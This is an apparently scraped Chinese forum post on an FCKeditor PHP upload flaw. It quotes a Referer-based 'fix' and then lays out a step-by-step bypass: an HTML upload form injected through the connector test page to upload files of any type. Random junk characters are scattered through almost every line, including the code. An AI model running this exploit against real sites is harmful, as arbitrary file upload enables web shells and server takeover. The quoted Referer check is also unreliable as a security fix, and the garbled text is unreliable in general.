漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php/ S: O/ w7 k2 L; F6 {
网上给出的修复方案是) `- l7 h: O% n+ c
修复方法,删除FCK编辑器用其他的编辑器5 G7 L1 W2 a' E0 G/ ]
或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
% W# _( q& ?+ G4 N2 {在# ]# V3 {$ f s3 R
require(‘config.php’);' \: B) F" D: X2 N; z0 c
require(‘util.php’);( q0 j$ B8 |9 X
的下面添加以下代码—————————–
V0 e4 _6 [, \# M/ n' \+ k//防止外部提交8 h- k1 V6 n- e; z
function outsidepost()
% x: r2 q5 r5 F' s& ]{- r& s; W) B9 C/ U; N7 K9 l+ v' a
$servername=$_SERVER['SERVER_NAME'];
& a' I3 j: X L! k( e" W$sub_from=@$_SERVER['HTTP_REFERER'];
3 O- O) P5 e/ U; K, h! @1 u$sub_len=strlen($servername);: p T8 V A4 H8 g
$checkfrom=substr($sub_from,7,$sub_len);
2 N9 `, u7 V' r- W2 w \$ tif($checkfrom!=$servername){4 T: i6 Q4 x1 T' o
echo(“you don’t outsidepost!”);+ j) C+ V; [4 Z+ U7 g; v
exit;- J$ U f8 G/ R0 `+ u. a
}3 j. `" k! R* C/ J! a
}4 j8 s" c1 D4 v- ^8 Y
outsidepost();
, Z% @3 N9 @) K2 X; ~7 Z& ^防止外部提交,但是没有防止内部提交,
* [9 [# ?, U! [, p" Q! j利用方法:* s4 g2 X( E1 Q( ]$ {6 j, s
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html* G0 W' J/ c. X, h* }
2,在Current Folder 框输入
2 k( O! V2 o1 L: a<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
. d7 N$ k# p9 n* F然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。+ E8 q0 }3 Z# Q; U
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |